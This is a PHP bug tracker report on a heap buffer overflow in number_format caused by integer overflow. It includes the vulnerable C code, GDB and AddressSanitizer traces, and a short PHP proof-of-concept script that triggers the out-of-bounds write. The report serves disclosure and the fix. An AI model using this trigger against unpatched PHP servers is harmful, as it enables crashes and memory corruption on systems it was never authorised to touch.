Sec Bug->Bug #73240 [Csd]: Write out of bounds at number_format
| From: | stas@php.net | Date: | Mon, 13 Feb 2017 01:11:25 +0000 |
| Subject: | Sec Bug->Bug #73240 [Csd]: Write out of bounds at number_format | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-207325@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73240&edit=1
ID: 73240
Updated by: stas@php.net
Reported by: fernando at null-life dot com
Summary: Write out of bounds at number_format
Status: Closed
-Type: Security
+Type: Bug
Package: Strings related
Operating System: *
PHP Version: 5.6.26
Assigned To: stas
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-10-11 23:48:16] stas@php.net
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2016-10-11 06:50:47] stas@php.net
please verify
------------------------------------------------------------------------
[2016-10-11 06:50:33] stas@php.net
The fix is in security repo as 3b5262ec4c9a6f985f8ff1fb4a7bed18f1b48f75 and in https://gist.github.com/196d7aee3ac1b3e8bb29305616914c7b
------------------------------------------------------------------------
[2016-10-04 13:23:50] fernando at null-life dot com
Description:
------------
When decimals parameter and dec_point length parameter are equal or close to 0x7fffffff, integer
overflow occurs in reslen variable, and causes a write heap overflow
Source code:
https://github.com/php/php-src/blob/master/ext/standard/math.c#L1107
PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point,
size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len)
{
zend_string *res;
zend_string *tmpbuf;
char *s, *t; /* source, target */
char *dp;
int integral;
int reslen = 0;
int count = 0;
int is_negative=0;
if (d < 0) {
is_negative = 1;
d = -d;
}
dec = MAX(0, dec);
d = _php_math_round(d, dec, PHP_ROUND_HALF_UP);
tmpbuf = strpprintf(0, "%.*F", dec, d);
if (tmpbuf == NULL) {
return NULL;
} else if (!isdigit((int)ZSTR_VAL(tmpbuf)[0])) {
return tmpbuf;
}
/* find decimal point, if expected */
if (dec) {
dp = strpbrk(ZSTR_VAL(tmpbuf), ".,");
} else {
dp = NULL;
}
/* calculate the length of the return buffer */
if (dp) {
integral = (int)(dp - ZSTR_VAL(tmpbuf));
} else {
/* no decimal point was found */
integral = (int)ZSTR_LEN(tmpbuf);
}
/* allow for thousand separators */
if (thousand_sep) {
integral += (int)(thousand_sep_len * ((integral-1) / 3));
}
reslen = integral;
if (dec) {
reslen += dec; // Integer overflow
if (dec_point) {
reslen += (int)dec_point_len;
}
}
/* add a byte for minus sign */
if (is_negative) {
reslen++;
}
res = zend_string_alloc(reslen, 0);
s = ZSTR_VAL(tmpbuf) + ZSTR_LEN(tmpbuf) - 1;
t = ZSTR_VAL(res) + reslen;
*t-- = '\0';
/* copy the decimal places.
* Take care, as the sprintf implementation may return less places than
* we requested due to internal buffer limitations */
if (dec) {
int declen = (int)(dp ? s - dp : 0);
int topad = dec > declen ? dec - declen : 0;
/* pad with '0's */
while (topad--) {
*t-- = '0'; // NULL write out of bounds
}
...
GDB output:
USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -n poc.php
...
gdb-peda$ b math.c:1168
Breakpoint 2 at 0x1497c0c: file /home/operac/build4/php-src/ext/standard/math.c, line 1168.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -n poc.php
...
Breakpoint 2, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff,
dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff,
thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
at /home/operac/build4/php-src/ext/standard/math.c:1168
1168 reslen += dec;
gdb-peda$ p reslen
$1 = 0x5
gdb-peda$ p dec
$2 = 0x7fffffff
gdb-peda$ p/d reslen+dec
$4 = -2147483644 /* Integer overflow */
gdb-peda$ b math.c:1176
Breakpoint 3 at 0x1497460: file /home/operac/build4/php-src/ext/standard/math.c, line 1176.
gdb-peda$ c
Continuing.
...
Breakpoint 3, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff,
dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff,
thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
at /home/operac/build4/php-src/ext/standard/math.c:1177
1177 reslen++;
gdb-peda$ p reslen
$5 = 0x3 /* reslen decreases*/
gdb-peda$ b math.c:1193
Breakpoint 4 at 0x1497c5b: file /home/operac/build4/php-src/ext/standard/math.c, line 1193.
gdb-peda$ c
...
Breakpoint 4, _php_math_number_format_ex (d=<optimized out>, dec=<optimized out>,
dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff,
thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
at /home/operac/build4/php-src/ext/standard/math.c:1193
1193 while (topad--) {
1194 *t-- = '0';
1195 }
gdb-peda$ p/d topad
$6 = 2147483329 /* NULL write out of bounds */
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$v2=0x7fffffff;
$v3=str_repeat("/", 0x7fffffff);
number_format(1234.56789, $v2, $v3, ",");
Expected result:
----------------
No crash
Actual result:
--------------
==7315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300006e6af at pc 0x00000149844b
bp 0x7ffffc2814a0 sp 0x7ffffc281490
WRITE of size 1 at 0x60300006e6af thread T0
#0 0x149844a in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1194
#1 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
#2 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER
/home/operac/build4/php-src/Zend/zend_vm_execute.h:586
#3 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
#4 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
#5 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
#6 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
#7 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
#8 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
#9 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#10 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)
0x60300006e6af is located 1 bytes to the left of 32-byte region [0x60300006e6b0,0x60300006e6d0)
allocated by thread T0 here:
#0 0x7f50f727b602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x1860ec0 in __zend_malloc /home/operac/build4/php-src/Zend/zend_alloc.c:2866
#2 0x149748c in zend_string_alloc /home/operac/build4/php-src/Zend/zend_string.h:121
#3 0x149748c in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1179
#4 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
#5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER
/home/operac/build4/php-src/Zend/zend_vm_execute.h:586
#6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
#7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
#8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
#9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
#10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
#11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
#12 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build4/php-src/ext/standard/math.c:1194
_php_math_number_format_ex
...
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73240&edit=1